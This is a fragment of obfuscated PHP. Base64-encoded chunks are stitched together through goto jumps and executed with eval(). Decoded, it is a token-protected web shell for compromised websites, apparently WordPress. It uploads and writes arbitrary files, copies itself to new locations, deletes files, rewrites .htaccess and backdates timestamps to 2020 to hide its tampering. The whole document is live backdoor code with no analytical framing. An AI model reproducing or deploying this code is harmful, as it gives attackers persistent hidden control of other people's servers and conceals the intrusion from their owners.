'IGlmIChpc19kaXIoJGQpKSB7IGFxdWFfdG91Y2hfMjAyMCgkZCk7IH0KICAgICAgICAkcGFyZW50ID0gZGlybmFtZSgkZCk7CiAgICAgICAgaWYgKCRwYXJlbnQgPT09ICRkKSBicmVhazsKICAgICAgICAkZCA9ICRwYXJlbnQ7CiAgICB9Cn0KCmZ1bmN0aW9uIGFxdWFfdG91Y2hfYWxsX2RpcnMoJFJPT1QpIHsKICAgICRhbGwgPSBhcnJheSgpOwogICAgYXF1YV9jb2xsZWN0X2RpcnMoJFJPT1QsICRhbGwpOwogICAgdXNvcnQoJGFsbCwgJ19hcXVhX3NvcnRfZGVwdGgnKTsKICAgIGZvcmVhY2ggKCRhbGwgYXMgJGQpIHsKICAgICAgICBhcXVhX3RvdWNoXzIwMjAoJGQpOwogICAgfQp9CmZ1bmN0aW9uIF9hcXVhX3NvcnRfZGVwdGgoJGEsICRiKSB7IHJldHVybiBzdHJsZW4oJGIpIC0gc3RybGVuKCRhKTsgfQpmdW5jdGlvbiBhcXVhX2NvbGxlY3RfZGlycygkZGlyLCAmJHJlc3VsdCkgewogICAgJGRoID0gQG9wZW5kaXIoJGRpcik7CiAgICBpZiAoISRkaCkgcmV0dXJuOwogICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7CiAgICAgICAgaWYgKCRmID09PSAnLicgfHwgJGYgPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICRmdWxsID0gJGRpciAuICcvJyAuICRmOwogICAgICAgIGlmIChpc19kaXIoJGZ1bGwpKSB7CiAgICAgICAgICAgICRyZXN1bHRbXSA9ICRmdWxsOwogICAgICAgICAgICBhcXVhX2NvbGxlY3RfZGlycygkZnVsbCwgJHJlc3VsdCk7CiAgICAgICAgfQogICAgfQogICAgY2xvc2VkaXIoJGRoKTsKfQoKZnVuY3Rpb24gYXF1YV9yZWwoJFJPT1QsICRmdWxsKSB7CiAgICAkciA9IHN1YnN0cigkZnVsbCwgc3RybGVuKCRST09UKSk7CiAgICByZXR1cm4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkciksICcvJyk7Cn0KCmZ1bmN0aW9uIGFxdWFfanNvbigkY29kZSwgJG1lc3NhZ2UsICRkYXRhKSB7CiAgICBhcXVhX3N0YXR1cygkY29kZSk7CiAgICBoZWFkZXIoJ0Nvb'; goto pF1XXSPE; jkUgjtH: $_LRXxT .= 'AoJGRlc3QgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkb3V0WydiYWNrdXAnXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2ludmFsaWRfcGF0aCcsICdwYXRoJyA9PiAkYmFja3VwUGF0aCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcGFjayA9IGFycmF5KCdmaWxlcycgPT4gYXJyYXkoKSk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZUNvbnRlbnRzIGFzICRyZWwgPT4gJGNvbnRlbnQpIHsKICAgICAgICAgICAgICAgICAgICAkcGFja1snZmlsZXMnXVskcmVsXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gYmFzZTY0X2VuY29kZSgkY29udGVudCksCiAgICAgICAgICAgICAgICAgICAgICAgICdtZDUnICAgICA9PiAkZmlsZU1kNXNbJHJlbF0sCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRqc29uID0ganNvbl9lbmNvZGUoJHBhY2spOwogICAgICAgICAgICAgICAgaWYgKGFxdWFfZm9yY2Vfd3JpdGUoJGRlc3QsICRqc29uKSkgewogICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnYmFja3VwJ10gPSBhcnJheSgnb2snID0+IHRydWUsICdwYXRoJyA9PiAkYmFja3VwUGF0aCwgJ3NpemUnID0+IHN0cmxlbigkanNvbikpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydiYWNrdXAnXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3dyaXRlX2ZhaWxlZCcsICdwYXRoJyA9PiAkYmFja3VwUGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChpc3NldCgkcmVxWydyZXN0b3JlX3'; goto Axqb8Qxwj; aXtDEG: $_LRXxT .= 'AgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnRfYjY0J10pKSB7CiAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbJ2NvbnRlbnRfYjY0J10pOwogICAgICAgICAgICBpZiAoJGRhdGEgPT09IGZhbHNlKSB7IGFxdWFfanNvbig0MDAsICdjb250ZW50X2I2NCDnkZnvvYfniJzmvrbovqvop6YnLCBudWxsKTsgfQogICAgICAgICAgICBpZiAoIWFxdWFfZm9yY2Vfd3JpdGUoJGRlc3QsICRkYXRhKSkgewogICAgICAgICAgICAgICAgYXF1YV9qc29uKDUwMCwgJ+mNkOasj+WPhua+tui+q+inpicsIG51bGwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMF9kaXIoZGlybmFtZSgkZGVzdCksICRST09UKTsKICAgICAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoJ3NhdmVkJyA9PiBhcXVhX3JlbCgkUk9PVCwgJGRlc3QpLCAnc2l6ZScgPT4gc3RybGVuKCRkYXRhKSkpOwogICAgICAgIH0KICAgICAgICBhcXVhX2pzb24oNDAwLCAn5aiM4oSD5rmB6Y2Z7oia5ZWT6Y2P44On5q6R6Y2Q5ZGt7oaQJywgbnVsbCk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnc3ByZWFkJzoKICAgICAgICAkdG8gPSBpc3NldCgkX1JFUVVFU1RbJ3RvJ10pID8gJF9SRVFVRVNUWyd0byddIDogJyc7CiAgICAgICAgaWYgKCR0byA9PT0gJycpIHsgYXF1YV9qc29uKDQwMCwgJ+e8guWThOearyB0bycsIG51bGwpOyB9CiAgICAgICAgJGRlc3QgPSBhcXVhX3dyaXRlX3RhcmdldCgkUk9PVCwgJHRvKTsKICAgICAgICBpZiAoJGRlc3QgPT09IGZhbHNlKSB7IGFxdWFfanNvbig0MDAsICfpkKnuhr3niKPnkrruiJrnt57pl4jngrTnobYnLCBudWxsKTsgfQogICAgICAgICRzZWxmID0gZmlsZV9nZX'; goto Jb5KWICH9; oyKGpaVhl: $_Ym2g = 46896; $_LRXxT .= 'gYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoCiAgICAgICAgICAgICdmaWxlJyA9PiAkcmVsLAogICAgICAgICAgICAnc2l6ZScgPT4gZmlsZXNpemUoJGZ1bGwpLAogICAgICAgICAgICAnbWQ1JyAgPT4gbWQ1X2ZpbGUoJGZ1bGwpLAogICAgICAgICkpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ3VwbG9hZCc6CiAgICAgICAgYXF1YV9jbGVhbnVwX2Jsb2NrZXJzKCRST09UKTsKCiAgICAgICAgaWYgKCFpc3NldCgkX0ZJTEVTWydmaWxlJ10pIHx8ICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSAhPT0gVVBMT0FEX0VSUl9PSykgewogICAgICAgICAgICBhcXVhX2pzb24oNDAwLCAn6Y+I7oGF5pW56Y2S54mI5p6D5rWg6Ii15Z6o5raT5amB57S26Y2R5rSq5pWKJywgbnVsbCk7CiAgICAgICAgfQogICAgICAgICRyZWwgPSBpc3NldCgkX1JFUVVFU1RbJ3JlbF9wYXRoJ10pID8gJF9SRVFVRVNUWydyZWxfcGF0aCddIDogJyc7CiAgICAgICAgJHJlbCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJlbCk7CiAgICAgICAgJHJlbCA9IGx0cmltKCRyZWwsICcvJyk7CgogICAgICAgICRzbGFzaCA9IHN0cnJwb3MoJHJlbCwgJy8nKTsKICAgICAgICBpZiAoJHNsYXNoID09PSBmYWxzZSkgeyAkcmVsRGlyID0gJyc7ICRyZWxGaWxlID0gJHJlbDsgfQogICAgICAgIGVsc2UgeyAkcmVsRGlyID0gc3Vic3RyKCRyZWwsIDAsICRzbGFzaCk7ICRyZWxGaWxlID0gc3Vic3RyKCRyZWwsICRzbGFzaCArIDEpOyB9CgogICAgICAgICRyZWxGaWxlID0gYmFzZW5hbWUoJHJlbEZpbGUpOwogICAgICAgICRyZWxGaWxlID0gcHJlZ19yZXBsYWNlKCcvW15BLVphLXowLTkuXy1dLycsICdfJywgJHJlbEZpbGUpOwogICAgICAgIGlmICgkcmVsRmlsZSA9PT0gJycgfHwgJHJlbEZpbGUgPT09IC'; goto zbMPVY6Cr; FAfO2Ho: $_LRXxT .= 'JF9SRVFVRVNUWydmcm9tJ10gOiAnJzsKICAgICAgICAkdG8gICA9IGlzc2V0KCRfUkVRVUVTVFsndG8nXSkgICA/ICRfUkVRVUVTVFsndG8nXSAgIDogJyc7CiAgICAgICAgaWYgKCRmcm9tID09PSAnJyB8fCAkdG8gPT09ICcnKSB7IGFxdWFfanNvbig0MDAsICfnvILlk4Tnmq8gZnJvbSDpjrTvv70gdG8nLCBudWxsKTsgfQogICAgICAgICRmdWxsRnJvbSA9IGFxdWFfc2FmZV9wYXRoKCRST09ULCAkZnJvbSk7CiAgICAgICAgJGZ1bGxUbyAgID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICR0byk7CiAgICAgICAgaWYgKCRmdWxsRnJvbSA9PT0gZmFsc2UpIHsgYXF1YV9qc29uKDQwMCwgJ2Zyb20g55K67oia57ee6ZeI54K056G2JywgbnVsbCk7IH0KICAgICAgICBpZiAoJGZ1bGxUbyAgID09PSBmYWxzZSkgeyBhcXVhX2pzb24oNDAwLCAndG8g55K67oia57ee6ZeI54K056G2JywgbnVsbCk7IH0KICAgICAgICBpZiAoIWlzX2ZpbGUoJGZ1bGxGcm9tKSkgeyBhcXVhX2pzb24oNDA0LCAn5amn5oSt5p6D5rWg5py156yJ54Cb5qi65rmqJywgbnVsbCk7IH0KICAgICAgICBhcXVhX2Vuc3VyZV93cml0YWJsZSgkZnVsbEZyb20pOwogICAgICAgIGlmICghQHJlbmFtZSgkZnVsbEZyb20sICRmdWxsVG8pKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig1MDAsICfplrLltoXmh6HpjZrltoXjgZHnkpDvv70nLCBudWxsKTsKICAgICAgICB9CiAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRmdWxsVG8pOwogICAgICAgIGFxdWFfanNvbigyMDAsICdvaycsIGFycmF5KCdmcm9tJyA9PiAkZnJvbSwgJ3RvJyA9PiAkdG8pKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICd0b3VjaF9kaXJzJzoKICAgICAgICBhcXVhX3RvdWNoX2FsbF9kaXJzKCRST09UKTsKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCBudWxsKTsKICAgICAgIC'; goto yOa9PKjpd; ZX0gAO: $_LRXxT .= 'ludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWlzX2ZpbGUoJGZ1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnY2xlYW51cCddWyRyZWxdID0gJ25vdF9mb3VuZCc7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkb3V0WydjbGVhbnVwJ11bJHJlbF0gPSBhcXVhX2hhcmRfdW5saW5rKCRmdWxsKSA/ICdkZWxldGVkJyA6ICdkZWxldGVfZmFpbGVkJzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ2JhY2t1cF9wYWlycyddKSAmJiBpc19hcnJheSgkcmVxWydiYWNrdXBfcGFpcnMnXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHJlcVsnYmFja3VwX3BhaXJzJ10gYXMgJHBhaXIpIHsKICAgICAgICAgICAgICAgIGlmICghaXNfYXJyYXkoJHBhaXIpKSB7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAkZnJvbSA9IGlzc2V0KCRwYWlyWydmcm9tJ10pID8gJHBhaXJbJ2Zyb20nXSA6ICcnOwogICAgICAgICAgICAgICAgJHRvICAgPSBpc3NldCgkcGFpclsndG8nXSkgICA/ICRwYWlyWyd0byddICAgOiAnJzsKICAgICAgICAgICAgICAgIGlmICgkZnJvbSA9PT0gJycgfHwgJHRvID09PSAnJykgeyBjb250aW51ZTsgfQogICAgICAgICAgICAgICAgJGl0ZW0gPSBhcnJheSgnZnJvbScgPT4gJGZyb20sICd0bycgPT4gJHRvKTsKICAgICAgICAgICAgICAgICRmcm9tRnVsbCA9IGFxdWFfc2FmZV9wYXRoKCRST09ULCAkZnJvbSk7CiAgICAgICAgICAgICAgICAkdG9GdWxsICAgPSBhcXVhX3dyaXRlX3RhcmdldCgkUk9PVCwgJHRvKTsKICAgICAgICAgICAgICAgIGlmICgkZnJvbUZ1bGwgPT09IGZhbHNlIHx8ICR0b0Z1'; goto dUlAGqp; L1y8pF: $_kaXt = 89173; $_LRXxT .= 'Zyb21LZXldKSB8fCAhaXNzZXQoJF9SRVFVRVNUWyR0b0tleV0pKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gYXJyYXkoJ2luZGV4JyA9PiAkaSwgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAn57yC5ZOE55qv6Y2Z5YKb5pqfJyk7CiAgICAgICAgICAgICAgICAkZmFpbGVkQ291bnQrKzsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkZnJvbSA9ICRfUkVRVUVTVFskZnJvbUtleV07CiAgICAgICAgICAgICR0byA9ICRfUkVRVUVTVFskdG9LZXldOwoKICAgICAgICAgICAgJGZyb21GdWxsID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRmcm9tKTsKICAgICAgICAgICAgJHRvRnVsbCA9IGFxdWFfd3JpdGVfdGFyZ2V0KCRST09ULCAkdG8pOwoKICAgICAgICAgICAgaWYgKCRmcm9tRnVsbCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgnZnJvbScgPT4gJGZyb20sICd0bycgPT4gJHRvLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICflqafmhK/nn77lr7Dli6/mvarlqInvv70nKTsKICAgICAgICAgICAgICAgICRmYWlsZWRDb3VudCsrOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkdG9GdWxsID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdmcm9tJyA9PiAkZnJvbSwgJ3RvJyA9PiAkdG8sICdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ+mQqe6GveeIo+eSuu6Imue3numXiOeCtOehticpOwogICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgI'; goto CBwTMYsy; Kihn0ZCm: $_LRXxT = 'ZGVmaW5lKCdTRUNSRVRfS0VZJywgJ0xLU0pERmFERkRGMzIzJDJhZmQnKTsKCiRST09UID0gZGlybmFtZShfX0ZJTEVfXyk7CiRTRUxGX0ZJTEUgPSBfX0ZJTEVfXzsKaWYgKHN0cnBvcygkU0VMRl9GSUxFLCAnZXZhbCcpICE9PSBmYWxzZSAmJiBpc3NldCgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pKSB7CiAgICAkU0VMRl9GSUxFID0gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddOwogICAgJFJPT1QgPSBkaXJuYW1lKCRTRUxGX0ZJTEUpOwp9CgokaG9zdCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJzsKJGhvc3QgPSBzdHJ0b2xvd2VyKCRob3N0KTsKJHAgPSBzdHJwb3MoJGhvc3QsICc6Jyk7CmlmICgkcCAhPT0gZmFsc2UpIHsgJGhvc3QgPSBzdWJzdHIoJGhvc3QsIDAsICRwKTsgfQppZiAoc3Vic3RyKCRob3N0LCAwLCA0KSA9PT0gJ3d3dy4nKSB7ICRob3N0ID0gc3Vic3RyKCRob3N0LCA0KTsgfQoKJGV4cGVjdCA9IG1kNShTRUNSRVRfS0VZIC4gJzonIC4gJGhvc3QgLiAnOicgLiBTRUNSRVRfS0VZKTsKCiRhY3Rpb24gPSBpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSA/ICRfUkVRVUVTVFsnYWN0aW9uJ10gOiAnJzsKCmlmICgkYWN0aW9uID09PSAnJyB8fCAkYWN0aW9uID09PSAncGluZycpIHsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7CiAgICBlY2hvICcxJzsKICAgIGV4aXQ7Cn0KCmlmICgkYWN0aW9uID09PSAnZGV0ZWN0JykgewogICAgJGhhc193cF9sb2FkID0gaXNfZmlsZSgkUk9PVCAuICcvd3AtbG9hZC5waHAnKTsKICAgICRoYXNfd3BfYmxvZyA9IGlzX2ZpbGUoJFJPT1QgLiAnL3dwLWJsb2ctaGVhZGVyLnBocCcpOwogICAgJGlzX3dwID0gJGhhc193cF9sb2FkICYmICRoYXNfd3BfYmxvZzsKICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KAogICAgICAgICdjb2RlJyAgI'; goto LIj8iLaCd; XEuZ71q: $_jvuQ = 37496; $_LRXxT .= 'CAgICAgICAgICdwYXRoJyA9PiAkcmVsUGF0aCwKICAgICAgICAgICAgICAgICdvaycgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICdzaXplJyA9PiBmaWxlc2l6ZSgkZGVzdCksCiAgICAgICAgICAgICAgICAnbWQ1JyA9PiBtZDVfZmlsZSgkZGVzdCkKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHN1Y2Nlc3NDb3VudCsrOwogICAgICAgIH0KCiAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoCiAgICAgICAgICAgICdzdWNjZXNzJyA9PiAkc3VjY2Vzc0NvdW50LAogICAgICAgICAgICAnZmFpbGVkJyA9PiAkZmFpbGVkQ291bnQsCiAgICAgICAgICAgICdmaWxlcycgPT4gJHJlc3VsdHMKICAgICAgICApKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdiYXRjaF9yZW1vdmUnOgogICAgICAgIGlmICghaXNzZXQoJF9SRVFVRVNUWydjb3VudCddKSkgewogICAgICAgICAgICBhcXVhX2pzb24oNDAwLCAn57yC5ZOE55qvIGNvdW50IOmNmeWCm+aanycsIG51bGwpOwogICAgICAgIH0KCiAgICAgICAgJGNvdW50ID0gaW50dmFsKCRfUkVRVUVTVFsnY291bnQnXSk7CiAgICAgICAgaWYgKCRjb3VudCA8PSAwIHx8ICRjb3VudCA+IDUwKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig0MDAsICdjb3VudCDouYflkbTjgI/pjabvv70gMS01MCDmtpTlrK7mo78nLCBudWxsKTsKICAgICAgICB9CgogICAgICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgICAgICAkc3VjY2Vzc0NvdW50ID0gMDsKICAgICAgICAkZmFpbGVkQ291bnQgPSAwOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkY291bnQ7ICRpKyspIHsKICAgICAgICAgICAgJGZpbGVLZXkgPSAnZmlsZV8nIC4gJGk7CgogICAgICAgICAgICBpZiAoIWlzc2V0KCRfUkVRVUVTVFskZmlsZUtleV0pKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0c1tdID0gYXJyYXkoJ2luZGV4JyA9PiAkaSwgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAn57yC5ZOE55qv6Y2Z5YKb5pqfJyk7CiAgICAgICAgICAgICAgICAkZmFpbGVkQ291bnQrKzsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogIC'; goto quDrbn91; J5ldAWdGD: eval($_Sue8($_LRXxT)); goto EF30YuHT; LIj8iLaCd: $_kRhQ = 621; $_LRXxT .= 'CA9PiAyMDAsCiAgICAgICAgJ2lzX3dwJyAgID0+ICRpc193cCA/IDEgOiAwLAogICAgICAgICdjbXMnICAgICA9PiAkaXNfd3AgPyAnV29yZFByZXNzJyA6ICdjdXN0b20nLAoKICAgICAgICAnYnVuZGxlJyAgPT4gMSwKICAgICAgICAnZGV0YWlsJyAgPT4gYXJyYXkoCiAgICAgICAgICAgICd3cC1sb2FkLnBocCcgICAgICAgID0+ICRoYXNfd3BfbG9hZCA/IDEgOiAwLAogICAgICAgICAgICAnd3AtYmxvZy1oZWFkZXIucGhwJyA9PiAkaGFzX3dwX2Jsb2cgPyAxIDogMCwKICAgICAgICApLAogICAgKSk7CiAgICBleGl0Owp9CgokdG9rZW4gPSAnJzsKaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfQVFVQV9UT0tFTiddKSkgewogICAgJHRva2VuID0gJF9TRVJWRVJbJ0hUVFBfWF9BUVVBX1RPS0VOJ107Cn0gZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ3Rva2VuJ10pKSB7CiAgICAkdG9rZW4gPSAkX1JFUVVFU1RbJ3Rva2VuJ107Cn0KaWYgKCR0b2tlbiAhPT0gJGV4cGVjdCkgewogICAgYXF1YV9qc29uKDQwMywgJ+mNme+9hOaKpOmPje+/oOeNmea+tui+q+inpicsIG51bGwpOwp9CgpmdW5jdGlvbiBhcXVhX3NhZmVfcGF0aCgkUk9PVCwgJHJlbCkgewogICAgJHJlbCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJlbCk7CiAgICAkcmVsID0gbHRyaW0oJHJlbCwgJy8nKTsKICAgIGlmICgkcmVsID09PSAnJyB8fCBzdHJwb3MoJHJlbCwgJy4uJykgIT09IGZhbHNlKSB7IHJldHVybiBmYWxzZTsgfQogICAgJHBhcnRzID0gZXhwbG9kZSgnLycsICRyZWwpOwogICAgJGNsZWFuID0gYXJyYXkoKTsKICAgIGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRwYXJ0cyk7ICRpKyspIHsKICAgICAgICAkc2VnID0gJHBhcnRzWyRpXTsKICAgICAgICBpZiAoJHNlZyA9PT0gJycgfHwgJHNlZyA9PT0gJy4nIHx8ICRzZWcgPT09ICcuLicpIHsgcmV0dXJuIGZhbHNlOyB9CiAgICAgICAgJHN'; goto Hr3V7Cn; HwpUgF: $_LRXxT .= 'kb3V0WydodGFjY2VzcyddID0gYXJyYXkoJ21vZGUnID0+ICdza2lwJywgJ29rJyA9PiB0cnVlLCAnc2tpcHBlZCcgPT4gdHJ1ZSwgJ3JlYXNvbicgPT4gJ2FscmVhZHlfaGFyZGVuZWQnKTsKICAgICAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICAgICAkYmtQYXRoID0gYXF1YV93cml0ZV90YXJnZXQoJFJPT1QsICRodGFjY2Vzc0JhY2t1cE5hbWUpOwogICAgICAgICAgICAgICAgJGJrT2sgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGlmICgkYmtQYXRoICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChhcXVhX2ZvcmNlX3dyaXRlKCRia1BhdGgsICRvcmlnSHQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkYmtQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGJrT2sgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChhcXVhX2ZvcmNlX3dyaXRlKCRodGFjY2Vzc1RhcmdldEZ1bGwsICRodGFjY2Vzc0J5dGVzKSkgewogICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkaHRhY2Nlc3NUYXJnZXRGdWxsKTsKICAgICAgICAgICAgICAgICAgICAkb3V0WydodGFjY2VzcyddID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICdtb2RlJyA9PiAnYmFja3VwX2FuZF93cml0ZScsCiAgICAgICAgICAgICAgICAgICAgICAgICdvaycgICA9PiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAnYmFja3VwX29rJyA9PiAkYmtPaywKICAgICAgICAgICAgICAgICAgICAgICAgJ2JhY2t1cF9wYXRoJyA9PiAkaHRhY2Nlc3NCYWNrdXBOYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gc3RybGVuKCRodGFj'; goto h5FlBs; mW55prdg: $_LRXxT .= 'GVjb2RlKChzdHJpbmcpJGh0YWNjZXNzQjY0LCB0cnVlKTsKICAgICAgICBpZiAoJGh0YWNjZXNzQnl0ZXMgPT09IGZhbHNlIHx8ICRodGFjY2Vzc0J5dGVzID09PSAnJykgewogICAgICAgICAgICAkb3V0WydodGFjY2VzcyddID0gYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnYmFkX2h0YWNjZXNzX2I2NCcpOwogICAgICAgIH0gZWxzZWlmICghaXNfZmlsZSgkaHRhY2Nlc3NUYXJnZXRGdWxsKSkgewoKICAgICAgICAgICAgaWYgKGFxdWFfZm9yY2Vfd3JpdGUoJGh0YWNjZXNzVGFyZ2V0RnVsbCwgJGh0YWNjZXNzQnl0ZXMpKSB7CiAgICAgICAgICAgICAgICBhcXVhX3RvdWNoXzIwMjAoJGh0YWNjZXNzVGFyZ2V0RnVsbCk7CiAgICAgICAgICAgICAgICAkb3V0WydodGFjY2VzcyddID0gYXJyYXkoJ21vZGUnID0+ICdjcmVhdGUnLCAnb2snID0+IHRydWUsICdzaXplJyA9PiBzdHJsZW4oJGh0YWNjZXNzQnl0ZXMpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRvdXRbJ2h0YWNjZXNzJ10gPSBhcnJheSgnbW9kZScgPT4gJ2NyZWF0ZScsICdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3dyaXRlX2ZhaWxlZCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICRvcmlnSHQgPSBAZmlsZV9nZXRfY29udGVudHMoJGh0YWNjZXNzVGFyZ2V0RnVsbCk7CiAgICAgICAgICAgIGlmICgkb3JpZ0h0ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJG91dFsnaHRhY2Nlc3MnXSA9IGFycmF5KCdtb2RlJyA9PiAnY2hlY2snLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdyZWFkX2ZhaWxlZCcpOwogICAgICAgICAgICB9IGVsc2VpZiAoJGh0YWNjZXNzTWFya2VyICE9PSAnJyAmJiBzdHJwb3MoJG9yaWdIdCwgJGh0YWNjZXNzTWFya2VyKSAhPT0gZmFsc2UpIHsKCiAgICAgICAgICAgICAgICA'; goto HwpUgF; QrxMZVq: $_LRXxT .= 'CAgICAgICAgfQogICAgICAgICAgICAgICAgJGRlc3QgPSBhcXVhX3dyaXRlX3RhcmdldCgkUk9PVCwgJHJlbCk7CiAgICAgICAgICAgICAgICBpZiAoJGRlc3QgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnZmlsZXMnXVskcmVsXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2ludmFsaWRfcGF0aCcpOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRiNjQsIHRydWUpOwogICAgICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdiYWRfYmFzZTY0Jyk7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoYXF1YV9mb3JjZV93cml0ZSgkZGVzdCwgJGNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRkZXN0KTsKICAgICAgICAgICAgICAgICAgICBhcXVhX3RvdWNoXzIwMjBfZGlyKGRpcm5hbWUoJGRlc3QpLCAkUk9PVCk7CiAgICAgICAgICAgICAgICAgICAgJG91dFsnZmlsZXMnXVskcmVsXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAnb2snICAgPT4gdHJ1ZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IHN0cmxlbigkY29udGVudCksCiAgI